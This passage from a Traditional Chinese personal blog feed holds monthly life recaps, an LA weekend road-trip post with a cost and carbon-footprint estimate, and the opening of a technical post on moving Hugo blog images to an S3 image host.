<li>Ed Sheeran - 《Play》：這張整體感覺跟前兩張比較不一樣，算是又回歸到 ÷ 時期的感覺，也可能是這樣所以有種熟悉的感覺</li>
<li>盧廣仲 - 《傷心早餐店》：有些歌聽第一次覺得還好，聽第二十次覺得其實還不錯，忘記之後，在聽第五十次的時候愛上。盧廣仲的歌差不多就是這個循環，今年的傷心早餐店大概也會是差不多的路數，但我這次聽第一次就已經愛上。另外偷推一下他的 Threads 帳號，非常好笑！</li>
<li>好樂團 - 《懂》：好樂團之前的代表作幾乎都是純木吉他，這張專輯給我一種當年告五人發《運氣來的若有似無》的感覺，在風格和編制上做了更多不一樣的嘗試，展現出樂團越來越多樣、成熟的一面。</li>
</ul>
<h2 id="公館圓環地下道拆掉了-qqqqqq" class="relative group">公館圓環、地下道拆掉了 QQQQQQ </h2><p>人不在台灣看到這個新聞真的有點感傷。分享一個我與公館圓環的故事：</p>
<p>記得應該是高二的某個假日，一大早要到外縣市比賽。因為沒辦法提前去過夜，最早的捷運又銜接不上最早的台鐵，於是我就凌晨三點從家裡出發一路沿著 236 的路線騎 Ubike 到台北車站。途徑公館的時候，眼看四下無人，我就咻的一聲衝下去地下道再上來。</p>
<p>沒了，只是想炫耀我是全台少數曾經騎著腳踏車穿越公館地下道的人！(自信貌)</p>
<h2 id="-其他值得一提" class="relative group">✨ 其他值得一提 </h2><ul>
<li><a href="https://www.dropboxforum.com/idea/101002013/add-dropboxignore-directory-to-exclude-folders-without-using-selective-sync/5926" target="_blank" rel="noreferrer">睽違 11 年，Dropbox 的 ignore 功能終於進入封測<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>。目前使用了兩個禮拜下來，沒遇到什麼太大的問題，跟預期中的差不多，如果你也跟我一樣把開發目錄放在 Dropbox 底下，也許可以去加入 Waitlist 試試這個新功能</li>
<li><a href="https://youtu.be/EWYy3ILBPKQ?si=V7fQzaz1lR7rwwMw" target="_blank" rel="noreferrer">誰的 Gay 達最準！<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>：只能說這個頻道總是不會讓我失望</li>
</ul>
<h2 id="-本月--下個月目標" class="relative group">🎯 本月 + 下個月目標 </h2><p>看到這裡應該不難發現，除了出去玩，其他目標差不多都放水流了 XDDD</p>
<p>那既然都掰掰了，那不如就這個月再試一次哈哈哈</p>
<ol>
<li>整理 Email：想了一個新 idea 這個月有空來試一下</li>
<li>買一張機票：目前已知除了回臺計畫外，還有兩趟確定要訂機票的行程一直沒處理</li>
<li>Kubernetes：其實這個月也不是沒有進度，只是有點卡住，情況樂觀的話應該會有時間排除問題</li>
</ol>
<hr>
<p>這個月又跟一些台灣的朋朋約了一些線上聊天，又再度體會到，成年人的友情不用過度積極，但依舊需要保持聯繫，雖然經常在約完之後覺得為什麼要沒事找事給自己做，但又會在聊完掛電話的時候感到一些溫暖，總之很感謝大家願意一大早或是大半夜陪我聊聊天 🫶🏻 啊如果想要跟我近況 Update 的也歡迎隨時來找！</p>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">2025-september-dump</guid><pubDate>Tue, 07 Oct 2025 22:49:01 -0700</pubDate></item><item><title>LA 週末小旅行</title><link>https://blog.tomy.me/zh-tw/posts/la-weekend-trip-2025/</link><description>說走就走！</description><content:encoded><![CDATA[<p>上個月訂的一個目標是：「買一張機票」，當時想說這個目標至少可以解決其中一個問題：</p>
<ul>
<li>拖著很久沒有確定的回臺計畫</li>
<li>很久沒有放長假出去玩</li>
</ul>
<p>當我著手開始看回台灣的機票沒多久，就因為一些意外插曲被卡住了。於是只好馬上把目光轉移到第二個選項，研究出去玩的選項。研究一陣子之後發現：美國國內、一個人獨旅的週末小旅行，基礎花費大概是：</p>
<ul>
<li>來回機票
<ul>
<li>$100 (撿到便宜)</li>
<li>$150 (出發日期在一個月後)</li>
<li>$200+ (說走就走)</li>
</ul>
</li>
<li>住宿：$100 - $200</li>
<li>租車：$150 (美國大眾運輸發達的地方屈指可數，特別是週末小旅行時間有限也不會想被難用的交通工具卡住)</li>
</ul>
<p>作為一個亞洲窮鬼，思來想去得到的方案是：「開車去 LA」，優點如下：</p>
<ul>
<li>不用訂機票，不用租車</li>
<li>青旅遍地都是，也都很便宜 <sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup></li>
<li>不用提前準備，可以說走就走</li>
</ul>
<p>於是我就真這麼在某個週五下班，直接上路！</p>
<h2 id="-上路" class="relative group">🛣️ 上路！ </h2><p>這裡推一首這段旅程無限循環的 <a href="https://youtu.be/qJcfMeAeZAQ" target="_blank" rel="noreferrer">LANY - Alonica<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 💙</p>
<p>從 San Jose 開到 LA 單程大概是 350 miles 左右，含休息大概是 5-6 小時左右。還好這一路上其他車子也不少，音樂聽膩了還可以聽 Podcast，其實並沒有想象中的累或是無聊。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/la-weekend-trip-2025/next-turn-154-miles.webp"
      class="mx-auto my-0 rounded-md"
      alt="特斯拉車內駕駛畫面，螢幕顯示導航與自動駕駛介面"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">距離充電站的交流道是 154 英哩，時速 69 mph 純屬巧合：）</figcaption>
</figure>
</p>
<p>因為是臨時起意出發的，我是在中間休息充電的時候才訂當晚的住宿。訂完才發現最晚入住時間是 12 點，於是又趕緊上路，趕在晚上 11:45 抵達。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/la-weekend-trip-2025/la-we-love-you.webp"
      class="mx-auto my-0 rounded-md"
      alt="夜晚洛杉磯街頭，廣告牌上寫著 LA, WE LOVE YOU"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">It&rsquo;s LA, Baby!</figcaption>
</figure>
</p>
<p>到的時候青旅的老墨警衛已經在關交誼廳大門，還以為要睡車上了，結果他人還挺好的，硬是生出了一個床位給我，說隔天再去櫃檯 Check in 就好。</p>


<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/la-weekend-trip-2025/hollywood-boulevard.webp"
      class="mx-auto my-0 rounded-md mx-1"
      alt="好萊塢大道街景，Highland 路口與標誌性建築"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/la-weekend-trip-2025/amoeba-music.webp"
      class="mx-auto my-0 rounded-md mx-1"
      alt="Amoeba Music 黑膠唱片店內部，人潮與彩色柱子"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>
<figcaption class="text-center">好萊塢大道除了瘋子多之外沒看太懂<br />但 CD 收集狂魔在 Amoeba Music 泡了一個小時，買了兩張 CD 很滿足 😌</figcaption>



<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/la-weekend-trip-2025/abbot-kinney.webp"
      class="mx-auto my-0 rounded-md mx-1"
      alt="手中拿著藍紅漸層氣泡飲，背景是洛杉磯街景與棕櫚樹"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/la-weekend-trip-2025/tesla-diner.webp"
      class="mx-auto my-0 rounded-md mx-1"
      alt="特斯拉餐廳與充電站，停著多輛 Tesla 與 Cybertruck"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>
<figcaption class="text-center">Venice 海灘其實跟 Santa Cruz 好像沒有太大區別<br />但旁邊的 Abbot Kinney 真的是全球時尚零售的尖端，非常好逛<br />Tesla Diner 看起來潮潮的，但好像沒特別好玩 (?)</figcaption>

<p>這趟基本只去了一些馬上想到、不需要預約或安排的地方，反正來日方長，這不會是最後一次來 LA，自然也沒必要急著去遍所有景點。</p>
<h2 id="-花費" class="relative group">💰 花費 </h2><ul>
<li>青旅住兩個晚上 $80，還附早餐 <sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup></li>
<li>開 Tesla 充電 3 次大概花了 $50</li>
</ul>
<p>划算！</p>
<h2 id="-碳足跡" class="relative group">👣 碳足跡 </h2><p>另外分享一個回來幾天之後，某天剛睡醒，坐在馬桶上半夢半醒突然想到的有趣觀察：</p>
<p>開長途車跟搭飛機，到底哪個環保？綜合我這趟下來的里程數、耗電量，再加上一些 ChatGPT 提供的參考數據，結果大概是這樣：</p>
<ul>
<li>總哩程：~750 miles</li>
<li>耗電量：173.2 kWh</li>
<li>加州電網每 kWh 的碳排放：0.22 kg CO₂e/kWh</li>
<li>也就是說碳排放大概是 38 kg CO₂e</li>
</ul>
<p>一些延伸的參考數據：</p>
<ul>
<li>如果開油車的話：207 kg CO₂e</li>
<li>如果是搭飛機來回：160 kg CO₂e</li>
<li>如果是 4 個人共乘：9.5 kg CO₂e</li>
<li>如果有高鐵：38.4 kg CO₂e</li>
<li>假設電車的電 100% 來自太陽能：2.6 kg CO₂e</li>
</ul>
<p>所以結論是：降低碳排還是要靠多人攤提。但如果下次要輕鬆一點，還是去搭飛機好了 😂</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>大概是 Hollywood 低薪跑龍套演員太多 (?)&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>便宜是真的便宜，但破舊到有點誇張，衛生標準應該低於大部分台灣人能接受的標準，早餐也就是&hellip;能吃。&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">la-weekend-trip-2025</guid><pubDate>Tue, 07 Oct 2025 21:23:11 -0700</pubDate></item><item><title>2025 年 8 月報報</title><link>https://blog.tomy.me/zh-tw/posts/2025-august-dump/</link><description>夏天是走了還是從來沒走過呢</description><content:encoded><![CDATA[<p>雖然下班看劇是日常，但不得不說，最近的 Netflix 電視劇是真的都還挺好看的，於是不知不覺又當了一個月的沙發馬鈴薯 XDDDD</p>
<h2 id="-電視劇" class="relative group">📺 電視劇 </h2><ul>
<li><a href="https://www.netflix.com/title/81669953" target="_blank" rel="noreferrer">《離線找真愛》<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>：雖然網路上很多純愛說很甜，但我私心覺得「硬要感」太重，反而不如《母胎單身戀愛大作戰》來的有共鳴。但尼斯還是很美，越看越想出去玩</li>
<li><a href="https://www.netflix.com/title/81947279" target="_blank" rel="noreferrer">《信用詐欺師 JP》<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>：荒謬的很好笑，特別喜歡長澤雅美飾演的達子，在劇中完美演出了深層的心思細膩、平常跟小少爺、理查的樂天互動，還有出任務詐騙時的專業，這三層角色的特質。劇本也是不落俗套，不看到最後一刻不知道會發生什麼好笑的事情 XDDDDD</li>
<li><a href="https://www.netflix.com/title/81231974" target="_blank" rel="noreferrer">《星期三》第二季<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>：超級好看。不知道是不是第一季太成功把第二季的製作推到了新的高度，不管是劇本、服化、編舞、角色塑造，全部都上升了一個檔次。最可惜的是第三季還要再等兩年，我發瘋</li>
</ul>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2025-august-dump/chips-ahoy-stranger-things.webp"
      class="mx-auto my-0 rounded-md"
      alt="Chips Ahoy 與 Stranger Things 聯名版餅乾包裝"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">啊沒事，《怪奇物語》第五季年底要上了</figcaption>
</figure>
</p>
<p>話說不知道今年第一名會是哪一部拿下。但不管如何，也是印證了：在 2025 這個大眾心智狀態魔幻的年代，只有獵奇的電視劇才有奪眼球的能力 （X</p>
<h2 id="-文章" class="relative group">✍🏻 文章 </h2><ul>
<li>之前說收掉了很多 Side Project，也包括我的第一個 Side Project —— <a href="/en/posts/tubee/">Tubee</a>。為了紀念他，於是寫了一篇英文的文章回顧整個心路歷程。雖然寫過無數的英文報告，也看過一些技術文章，但要真的完全從英文的語境出發去架構整篇文章還是一件挺困難的事，但凡事總有第一次，Practice makes perfect。</li>
<li>這個月把部落格的照片搬到自己搭的圖床，也順手把<a href="/zh-tw/posts/use-s3-as-image-host-with-hugo-in-a-painful-way/">過程記錄下來</a>了，內容有點 geek，請小心服用，有問題或建議也歡迎留言交流哈哈哈哈</li>
</ul>
<h2 id="photo-dump" class="relative group">Photo Dump </h2><p>隨便放些照片</p>


<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  
    
    
      
      
      
      
      
      
        
        
      
      <figure>
        
    
        
          
    
    
    
    
    
      
      <picture  class="rounded-md max-h-96 mx-1" >
        <img
          src="https://img.tomy.me/blog/2025-august-dump/jensen-with-guitar.webp"
          class="rounded-md max-h-96 mx-1"
          alt="樂器行裡有人坐著彈木吉他，背景牆上掛滿吉他"
          loading="lazy" decoding="async"
        />
      </picture>
    
    
        
      </figure>
    

    
    
      
      
      
      
      
      
        
        
      
      <figure>
        
    
        
          
    
    
    
    
    
      
      <picture  class="rounded-md max-h-96 mx-1" >
        <img
          src="https://img.tomy.me/blog/2025-august-dump/in-n-out-by-the-beach.webp"
          class="rounded-md max-h-96 mx-1"
          alt="海灘野餐，桌布上有 Smirnoff 飲料與薯條"
          loading="lazy" decoding="async"
        />
      </picture>
    
    
        
      </figure>
    


</div>
<figcaption class="text-center">左：跟 Jensen 去逛吉他店<br/>右：跟奕函哥哥去碼頭整點薯條 (X)</figcaption>

<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2025-august-dump/piano-by-the-beach.webp"
      class="mx-auto my-0 rounded-md"
      alt="日落時分海灘上聚集人群，背景有裝飾白色樹與旅館建築"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">整完薯條躺在海灘上聽鋼琴演奏，真桑</figcaption>
</figure>
</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2025-august-dump/kayak-at-vasona-lake.webp"
      class="mx-auto my-0 rounded-md"
      alt="四人在湖上划獨木舟與立槳板，陽光下合影"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">去 Vasona Lake 划船！在中興上的划船課總算有點用 (?)</figcaption>
</figure>
</p>
<h2 id="-值得一提的酷東西" class="relative group">✨ 值得一提的酷東西 </h2><ul>
<li>模組化筆電 Framework 最近更新他們旗下的筆電模組，包含模組化的 RTX 5070 顯卡。他們也一貫的在<a href="https://youtu.be/OZRG7Og61mw" target="_blank" rel="noreferrer">發布影片<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>中分享了開發的心路歷程，有非常多深度的電腦硬體知識。</li>
<li>由 CultRepo 出品的 <a href="https://youtu.be/GfH4QL4VqJ0" target="_blank" rel="noreferrer">Python 紀錄片<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>。非常完整的帶過了 Python 歷史中重要的事件，也印證 Python 有可能成為 21 世紀影響力最廣泛的程式語言，我私心認為即便你完全沒有任何寫程式的經驗，這部紀錄片也會給你帶來啟發。</li>
<li>《哈利波特》繁體中文電子書出版了！<a href="https://okapi.books.com.tw/article/18977" target="_blank" rel="noreferrer">這篇文<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>分享了為什麼中文版晚了英文整整 13 年，也介紹了中文出版的獨特性，點出了到了一些我從來沒有想過的問題</li>
</ul>
<h2 id="-本月目標回顧" class="relative group">🎯 本月目標回顧 </h2><h3 id="-把報報切小一點" class="relative group">✅ 把報報切小一點 </h3><p>我以為我寫很少了欸，怎麼寫完還有 1000 字，但我感覺這樣的長度應該是差不多的 (?)</p>
<h3 id="-跟台灣的朋朋多約一點線上聊天" class="relative group">✅ 跟台灣的朋朋多約一點線上聊天 </h3><p>成功約了兩三個，剩下的如果有看到請記得回我訊息：））））不得不說，美西和台灣的時差真的是有夠尷尬，少數約的了的時間要不是超早就是超晚，幾乎不存在兩邊都方便的時間 (抓頭</p>
<h3 id="-假日最晚-10-點起床" class="relative group">🟡 假日最晚 10 點起床 </h3><p>姑且算吧。最近的假日行程是 10 點起來，然後躺在床上看 Netflix 看到 12 點在爬起來 XDDDD</p>
<h2 id="-下個月的目標" class="relative group">🎯 下個月的目標 </h2><ol>
<li>整理一下 Email：目前有大概 400 封信件卡在收件夾，目標這個月結束前 &lt; 200</li>
<li>買一張機票：今年能不能順利回台灣還不確定，但最近工作開始疲乏了，就算沒回台灣也差不多是時候出去玩了 ᕕ ( ᐛ ) ᕗ</li>
<li>開一個 Kubernetes 集群然後把至少一個服務遷移上去</li>
</ol>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">2025-august-dump</guid><pubDate>Mon, 08 Sep 2025 20:32:17 -0700</pubDate></item><item><title>如何 (非常折騰的) 在 Hugo 使用外部圖床</title><link>https://blog.tomy.me/zh-tw/posts/use-s3-as-image-host-with-hugo-in-a-painful-way/</link><description>部落格的第一個大更新</description><content:encoded><![CDATA[<p>趁著 7 月報報上之前把部落格做了一個內部的大改版，雖然是內部的更新，讀者應該不會感受到，但還是一次有點些微複雜的重構，覺得挺有意思的，想說可以難得寫點技術的東西，記錄之餘也順便分享一下。</p>
<h2 id="狀況" class="relative group">狀況 </h2><p>這個部落格的原始碼和內容全部都有公開在我的 <a href="https://github.com/tomy0000000/blog" target="_blank" rel="noreferrer">GitHub<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 上，但還是簡單快速的帶過一下：</p>
<ul>
<li>內容全部都是 Markdown 編寫的</li>
<li>使用 Hugo 在 GitHub Action 上來靜態生成網站</li>
<li>部署在 GitHub Pages 上</li>
</ul>
<p>Hugo 作為一個框架，不單單只是做 Markdown 轉成 HTML，對於文章內使用的資源，比方説圖片，也有很多<a href="https://gohugo.io/functions/images/" target="_blank" rel="noreferrer">內建<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>的優化選項，比方説放大縮小，或是最佳化處理，但這也造成一些後續的問題。</p>
<p>在部落格剛開張的時候就知道，把文章使用到的圖片 check in 進 git 不是一個好主意，長期下來會有很多問題，但當時決定秉持著 Move fast, Break thing 的思維，我只想儘快的讓網站上線，於是決定先硬著頭皮這麼做，把這個問題留到之後再解決 <sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>，而寫了兩年部落格之後，這個問題也像滾雪球一樣，漸漸變的大到難以忽視。</p>
<p>所以在 git 裡 check in 圖片 (或者更廣泛的來說：任何大檔案) 到底有什麼問題？</p>
<ul>
<li>git 的壓縮演算法偏好優化純文字，binary 格式的檔案壓縮效果不好</li>
<li>也就是說 <code>git clone</code>, 或是 <code>git pull</code> 速度會漸漸被拖慢</li>
<li>只要曾經 check in 過，之後就算再移除，這些曾經存在的檔案仍然會佔據使用空間</li>
</ul>
<p>而在 Hugo 這邊，因為我使用的主題 Congo 會自動在網站生成的時候，事先把一份圖片轉成不同大小，來加速網站在不同尺寸的螢幕下的載入時間，所以圖片一但變多，也就代表 Hugo 在生成網站的時間會隨著圖片數量跟著增加。</p>
<h2 id="解決方法" class="relative group">解決方法 </h2><p>解方也很簡單：所有的圖片一律遷移到外部獨立的圖床託管，然後部落格直接把所有的圖片指向那個圖床。</p>
<p>我簡單研究了一下市面上的圖片代管服務，整理了<a href="https://docs.tomy.me/image-hosting" target="_blank" rel="noreferrer">一份筆記<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，想到了最簡單的做法是：開一個 S3 的 bucket，然後把整個目錄結構複製過去。</p>
<p>比方説原本有一張圖片在</p>
<pre tabindex="0"><code>https://blog.tomy.me/zh-tw/posts/
2025-may-dump/cmu-commencement-with-taiwanese.jpg
</code></pre><p>在遷移之後就會變成</p>
<pre tabindex="0"><code>https://img.tomy.me/blog/
2025-may-dump/cmu-commencement-with-taiwanese.jpg
</code></pre><p>這樣有幾個好處：</p>
<ul>
<li>跟其他相對複雜的方案比起來沒有很複雜，未來如果要再二度遷移比較不會遇到太大的問題。</li>
<li>流量小的時候不用錢，就算未來真的流量暴漲應該也不會燒多少錢 (反正我的部落格沒什麼人在看 嘻嘻)</li>
</ul>
<p>缺點的話：</p>
<ul>
<li>每次寫完文章，要再另外手動上傳這些照片。但其實如果有 S3 Client 的話，也不是多麻煩的事</li>
<li>失去 Hugo 內建的圖片最佳化處理，載入速度會慢一點點。但也真的就是一點點，而且未來有機會再弄回來</li>
</ul>
